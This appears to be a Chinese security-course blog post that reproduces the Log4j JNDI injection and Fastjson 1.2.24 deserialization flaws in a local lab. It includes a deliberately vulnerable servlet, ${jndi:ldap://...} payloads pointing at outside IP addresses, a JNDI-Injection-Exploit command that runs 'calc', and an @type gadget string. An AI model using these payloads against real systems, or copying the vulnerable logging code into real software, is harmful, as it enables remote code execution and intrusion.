第36天:安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入

devtools/2025/2/12 10:04:20/

时间轴:

演示案例:

Java-三方组件-Log4J&JNDI

Java-三方组件-FastJson&反射

Maven的下载及配置:

IDEA配置Maven的超详细步骤_java_脚本之家

Java-三方组件-Log4J&JNDI

JNDI 注入: ( 见图 )
Java Naming and Directory Interface (Java 命名和目录接口 ) JNDI
供统一的客户端 API ,通过不同的服务供应接口 (SPI) 的实现,由管理者将 JNDI API
映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名
服务和目录服务之间的交互。
#Java- 三方组件 -Log4J&JNDI
Log4J
Apache 的一个开源项目,通过使用 Log4j ,我们可以控制日志信息输送的目的地是控制
台、文件、 GUI 组件,甚至是套接口服务器、 NT 的事件记录器、 UNIX Syslog 守护进
程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能
够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来
灵活地进行配置,而不需要修改应用的代码。
Log4j- 组件安全复现
1 Maven 引用 Log4j
2 、接受用户输入值
3 Log4j 处理错误输入
4 、利用 jndi-ldap 执行
Test:
String code="test";
String code="${java:os}";
logger.error("{}",code);
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
服务器:
java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx

1.创建新项目

2.log4j组件的导入

Jar 仓库:
https://mvnrepos
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version>
</dependency>
https://mvnrepos

搜索log4j,选择第一个

进入后选择2.1.4

复制其maven

maven代码:

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version>
</dependency>

点击上面的

会在外部多加两个库:

改为2.14.0的话,自动会变成2.14.0的包

Log4jTest:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4jTest {//使用Log4j 实现错误日志输出private static final Logger logger = LogManager.getLogger(Log4jTest.class);public static void main(String[] args) {//如果这个code变量是可控的String code="${java:os}";logger.error("{}",code);}}

Logger选择此项:

正常情况运行的话:

使用Log4j 实现错误日志输出:

os的意思是系统的意思。
vm是java的虚拟器

测试漏洞

创建一个新项目Log4jWebDemo,在下面创建一个Log4jServlet。
log4j的包导入进web.xml去(和上面的方法一样)
Log4jServlet:
package com.example.log4jwebdemo;import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {//构造HTTP Web服务 使用带漏洞Log4j版本 实现功能private static final Logger log= LogManager.getLogger(Log4jServlet.class);@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String code =req.getParameter("code");log.error("{}",code);}
}

使用http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code={$java:os}

正常情况:(在最下面能看到系统)

当遇到一下情况时:

借助文章:
从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客
在tomcat下的./conf/service.xml 中重写Connector这个地方 。
<Connector port="8080" protocol="HTTP/1.1"connectionTimeout="30000"maxThreads="800"minSpareThreads="50"redirectPort="8443"URIEncoding="ISO-8859-1"relaxedQueryChars="[,],|,{,},^,&#x5c;,&#x60;,&quot;,&lt;,&gt;"/>

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客

网上漏洞注入:

Log4j高危漏洞原理及复现_log4j漏洞修复-CSDN博客
JNDI&RMI&LDAP介绍+log4j分析_jdbc-ldap-CSDN博客

使用xshell生成JNDI进行漏洞注入:

为什么使用JNDI?原因如下:
使用xshell进行操作:
1.先更新源sudo apt update2.安装javasudo apt install default-jre3.切换到目录
cd /4.使用java打开jar文件
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

下面使用的ip为linux的ip

使用
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.239.89.173

注意使用版本jdk必须小于jdk8u 121,本人使用112

使用网址 localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${jndi:ldap://47.239.120.145:1389/tv9lqn}
得到结果如下:(但不知为何没弹出计算器,其他dnslog.cn都可以用)
完整代码:
package com.example.log4jwebdemo;import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {//构造HTTP Web服务 使用带漏洞Log4j版本 实现功能private static final Logger log= LogManager.getLogger(Log4jServlet.class);@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String code =req.getParameter("code");//code=$(java:os) 输出执行结果//code=(java:os) 正常输入//${jndi:ldap://47.94.236.117:1389/uyhyw6}//${jndi:ldap://xxxx.dns.log}//ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法//什么方法? -C "calc" 执行计算机的功能方法(JNDI注入工具生成的)log.error("{}",code);//1、开发源码中引用漏洞组件如log4j//2、开发中使用组件的代码(触发漏洞代码)//3、可控变量去传递Payload来实现攻击}
}

Java-三方组件-FastJson&反射

FastJson
在前后端数据传输交互中 , 经常会遇到字符串 (String) json,XML 等格式相互转换与
解析,其中 json 以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据
交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互, Web 输出等各
种应用场景中。 FastJson 是阿里巴巴的的开源库,用于对 JSON 格式的数据进行解析和
1.创建FastjsonDemo:
2.配置Fastjson:
https://mvnrepository.com/
版本:
1.2.24
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>
创建软件包com.xiaodi:
 
创建User:
package com.xiaodi;//给fastjson数据转换测试用的
public class User {private String name;private Integer age;public Integer getAge() {return age;}public String getName() {return name;}public void setAge(Integer age) {this.age = age;System.out.println(age);}public void setName(String name) {this.name = name;System.out.println(name);}
}

创建Fastjson

package com.xiaodi;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;//使用fastjson去处理User类数据
public class FastjsonTest {public static void main(String[] args) {//u Object对象//Integer age String name 字符串数据User u = new User();u.setAge(30);u.setName("xiaodi");//System.out.println(u);//我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)//我就选择第三方组件fastjson来去做这个功能//讲json对象转换json数据String jsonString = JSONObject.toJSONString(u);System.out.println("这就是json格式:"+jsonString);}}

使用json格式输出时候:

Fastjson漏洞造成:

当json转换为对象的时候,翻译从User改为Run从而调用错误。

String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
 String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";
package com.xiaodi;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;//使用fastjson去处理User类数据
public class FastjsonTest {public static void main(String[] args) {//u Object对象//Integer age String name 字符串数据User u = new User();u.setAge(30);u.setName("xiaodi");//System.out.println(u);//我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)//我就选择第三方组件fastjson来去做这个功能//讲json对象转换json数据
//        String jsonString = JSONObject.toJSONString(u);
//        System.out.println("这就是json格式:"+jsonString);//分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
//        String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
//        System.out.println(jsonString1);//上述对象 -> JSON//下面JSON -> 对象//String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";//实战中com.xiaodi.Run 我们不知道 固定调用//rmi ldap 去触发远程的class 执行代码(RCE)JSONObject jsonObject = JSON.parseObject(test);System.out.println(jsonObject);}}

漏洞exp文章:

fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)_fastjson<= 1.2.24 反序列化导致任意命令执行漏洞(cve-2017-18349)-CSDN博客
使用dnslog.cn来判断漏洞;
Fastjson 1.2.47 反序列化(CVE-2017-18349)漏洞复现_漏洞复现 fastjson1.2.47反序列化漏洞-CSDN博客
本文章由李豆豆喵和番薯小羊卷~共同完成。

http://www.ppmy.cn/devtools/158174.html

相关文章

算法15(力扣347)——前k个高频元素

1、问题 给你一个整数数组 nums 和一个整数 k &#xff0c;请你返回其中出现频率前 k 高的元素。你可以按 任意顺序 返回答案。 2、示例 &#xff08;1&#xff09; 输入: nums [1,1,1,2,2,3], k 2 输出: [1,2] &#xff08;2&#xff09; 输入: nums [1], k 1 输出: [1…

https的论述

HTTPS&#xff08;HyperText Transfer Protocol Secure&#xff09;是HTTP协议的安全版本&#xff0c;用于保护数据传输的安全性和完整性。在HTTPS中&#xff0c;通过使用SSL&#xff08;Secure Socket Layer&#xff09;或TLS&#xff08;Transport Layer Security&#xff09…

python2048游戏

实现了一个完整的2048游戏&#xff0c;并将其展示在一个图形化界面上。具体功能包括&#xff1a; 初始化游戏板&#xff1a;创建一个4x4的二维列表&#xff0c;表示游戏板&#xff0c;并在初始状态下随机放置两个数字&#xff08;通常是2或4&#xff09;。绘制游戏板&#xff…

8.flask+websocket

http是短连接&#xff0c;无状态的。 websocket是长连接&#xff0c;有状态的。 flask中使用websocket from flask import Flask, request import asyncio import json import time import websockets from threading import Thread from urllib.parse import urlparse, pars…

玩转工厂模式

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 什么是工厂模式?工厂方法模式适合应用场景实现方式工厂方法模式优缺点什么是工厂模式? 工厂方法模式是一种创建型设计模式,其在父类中提供一个创建对象的方法,允许子类决定实例化对象的类型。…

Visual Studio 使用 “Ctrl + /”键设置注释和取消注释

问题&#xff1a;在默认的Visual Studio中&#xff0c;选择单行代码后&#xff0c;按下Ctrl /键会将代码注释掉&#xff0c;但再次按下Ctrl /键时&#xff0c;会进行双重注释&#xff0c;这不是我们想要的。 实现效果&#xff1a;当按下Ctrl /键会将代码注释掉&#xff0c;…

嵌入式系统开发中的图形后台(graphical backend)是什么意思?

图形后台的概述 “图形后台”是指在计算机系统中负责管理和渲染图形界面&#xff08;GUI&#xff09;的程序或系统。 在嵌入式设备上&#xff0c;图形系统的选择通常包括以下几种主要类型&#xff1a; X11&#xff08;X Window System&#xff09;&#xff1a; 这是一个传统的…

Goland 内存逃逸问题

内存逃逸是什么&#xff1f; 在go语言中&#xff0c;内存分配存在两个方式&#xff1a;堆分配&#xff1b;栈分配。 栈分配&#xff1a;是在函数调用时为局部变量分配内存&#xff0c;当函数返回时&#xff0c;这些内存会自动释放。 堆分配&#xff1a;通过 new 或者 make 函…